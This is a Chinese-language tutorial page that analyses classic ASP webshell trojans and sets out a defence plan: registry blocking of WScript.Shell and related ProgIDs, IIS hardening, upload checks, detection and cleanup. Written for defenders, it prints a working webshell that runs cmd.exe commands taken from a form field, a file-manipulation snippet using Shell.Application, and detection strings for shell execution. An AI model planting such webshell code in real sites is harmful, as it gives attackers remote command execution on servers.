Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> 電腦軟體教學 >> 伺服器技術 >> 關於伺服器

ASP 木馬後門深度分析與防禦體系建設:WScript.Shell / Shell.Application 對象封鎖、注冊表硬化與檢測清除實戰

編輯:關於伺服器

ASP 木馬利用 IIS 內建的 ActiveX 物件 (WScript.Shell、Shell.Application、Scripting.FileSystemObject) 執行系統指令、檔案操作、登錄表讀寫,屬於「無檔案/腳本型」後門,傳統防毒軟體極難查殺。本文剖析兩款經典 ASP 木馬原始碼、攻擊鏈原理,建立從「物件封鎖、權限最小化、流量檢測、應用層 WAF、應急響應」的纏繞防禦體系。

木馬一:WScript.Shell 命令執行型 (功能強、適用面窄)

核心代碼片段

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
    szTempFile = "C:" & oFileSys.GetTempName()
    oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
    Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    oFileSys.DeleteFile szTempFile, True
End If

特徵

  • 需 Scripting.FileSystemObject (FSO) 支援 → 可透過 IIS「應用程式對應」移除 .asp 對 FSO 的存取、或注冊表封鎖 Scripting.FileSystemObject ProgID 來阻斷。
  • 預設以 IUSR_* 身分執行 → 僅具 Guest 權限,除非該帳號被加入 Administrators (極度危險配置)。
  • 僅在「預設網站」根目錄有效,虛擬目錄/虛擬主機若未繼承執行權限則無法運作。

木馬二:Shell.Application 檔案操作型 (功能弱、適用面極廣)

核心代碼片段

Set shell = Server.CreateObject("Shell.Application")
Set fod1 = shell.NameSpace(szCMD)  ' 目錄瀏覽
For Each co In fod1.Items
    Response.Write co.Path & "-----" & co.Size
Next

' 複製/移動/執行程式
Set shell1 = Server.CreateObject("Shell.Application")
Set fod1 = shell1.NameSpace(szTarget)
fod1.CopyHere fodItem  ' 複製
fod1.MoveHere fodItem  ' 移動
shell3.NameSpace(szPath).Items.Item(szExe).InvokeVerb  ' 執行程式

特徵

  • 不依賴 FSO,繞過 FSO 封鎖。
  • 任意虛擬主機/虛擬目錄均可執行,只要上傳 .asp 檔案即可,危害極大 (共享主機環境最怕此類)。
  • 功能涵蓋:目錄列舉、檔案複製/移動、程式執行 — 足以竄改首頁、植入後門、橫向移動。

核心防禦策略:從物件來源切斷攻擊鏈

1. 注冊表封鎖高危 ProgID (最直接、最有效)

路徑:HKEY_CLASSES_ROOT\CLSID\{ProgID 對應的 CLSID} 或直接修改 HKEY_CLASSES_ROOT\ProgID。

ProgIDCLSID (參考)封鎖方式影響面
WScript.Shell{72C24DD5-D70A-438B-8A42-98424B88AFB8}重命名 Key → WScript.Shell.DISABLED 或刪除影響所有 .asp/.vbs/.js 使用該物件的合法程式
WScript.Network{3F4DACA7-160D-11D2-A8E9-00104B365C9F}同上網路對應/印表機腳本受影響
Scripting.FileSystemObject{0D43FE01-F093-11CF-8940-00A0C9054228}同上檔案系統操作腳本受影響
Shell.Application{13709620-C279-11CE-A49E-444553540000}同上Shell 命名空間操作受影響
ADODB.Stream{00000566-0000-0010-8000-00AA006D2EA4}同上二進制檔案讀寫/上傳組件受影響
操作步驟:
1. regedit → 定位上述 Key → 右鍵重命名 (建議加 .DISABLED 後綴,保留原名便於回滾)。
2. 必須重啟 IIS (iisreset) 或回收應用程式集區使生效。
3. 修改後測試:合法 ASP 頁面嘗試 Server.CreateObject("WScript.Shell") 應報錯 800a01ad - ActiveX component can't create object。
注意: 木馬作者可嘗試 WScript.Shell.1、WScript.Shell.DISABLED 等變體,建議同時封鎖版本無關 ProgID 或使用 AppLocker/WDAC 白名單模式。

2. IIS 請求篩選 / URLScan 規則攔截可疑載荷


  
    
    
    
    
    
    
    
    
  
  
    
    
    
  
  
    
    
    
    
    
  

3. 應用程式集區身分最小化 + NTFS 權限收斂

  • 每個網站獨立應用程式集區,身分使用 ApplicationPoolIdentity (虛擬帳號)。
  • 網站根目錄 ACL:IIS_IUSRS:(RX)、應用程式集群虛擬帳號:(RX)、管理員:(F)、SYSTEM:(F)。
  • 上傳目錄單獨授予 (W),並設定「執行權限:無」。
  • 禁用父路徑存取:AspEnableParentPaths = False (IIS 6 metabase / IIS 7 applicationHost.config)。

4. 檔案上傳驗證與隔離 (防止上傳 .asp/.asa/.cer/.cdx)

  • 前端驗證:副檔名白名單、MIME 類型檢查、魔數驗證。
  • 存儲路徑:非網站根目錄下、不可執行目錄 (NTFS 無執行權限)、不同磁碟/磁碟區。
  • 重命名:隨機檔名 + 無副檔名 或 .safe 後綴。
  • 掃描:ClamAV / Windows Defender / 自定義 YARA 規則掃描 ASP 木馬特徵碼。

5. 異常流量檢測與應急響應

檢測維度指標/工具響應動作
Web 日誌分析高頻 POST 含 Server.CreateObject、cmd.exe、異常 User-AgentWAF 封禁 IP、告警 SOC
檔案完整性監控 (FIM)Tripwire / OSSEC / Wazuh / PowerShell Get-FileHash 定時比對發現新增/變更 .asp/.asa → 隔離、取證
進程行為監控Sysmon Event ID 1 (Process Create) 捕獲 w3wp.exe 生成 cmd.exe/cscript.exeEDR 終結進程、隔離主機
記憶體掃描Volatility / WinDbg 分析 w3wp.exe 轉儲,搜尋 ProgID 字串確認無檔案攻擊、提取 IOC

清除已植入木馬的標準流程

  1. 隔離:防火牆封鎖對外連線、停用網站/應用程式集區。
  2. 掃描:
      • 目錄遞歸搜尋 Server.CreateObject、WScript.Shell、Shell.Application、eval(、execute( 字串。
      • 工具:findstr /r /s /i /c:"Server.CreateObject" *.asp *.asa *.cer *.cdx、grep -r、YARA 規則。
  3. 取證:保留可疑檔案副本、IIS 日誌、事件日誌、記憶體轉儲。
  4. 清除:刪除惡意檔案、還原合法備份、修正 NTFS ACL、重置應用程式集區身分密碼。
  5. 驗證:再次掃描、滲透測試驗證修復有效性。
  6. 溯源:分析上傳入口、弱點掃描、憑證洩漏、供應鏈投毒。
現代防禦棧:ASP.NET Core / Node.js / Python / Go / Java 取代經典 ASP,從語言層面消除 ActiveX 物件攻擊面。若必須維護舊 ASP 系統,請部署 ModSecurity + OWASP CRS + 自定義規則、啟用 IIS 請求篩選、實施 應用程式白名單 (WDAC/AppLocker)、建立 FIM + Sysmon + EDR 三位一體檢測體系。
Copyright © Windows教程網 All Rights Reserved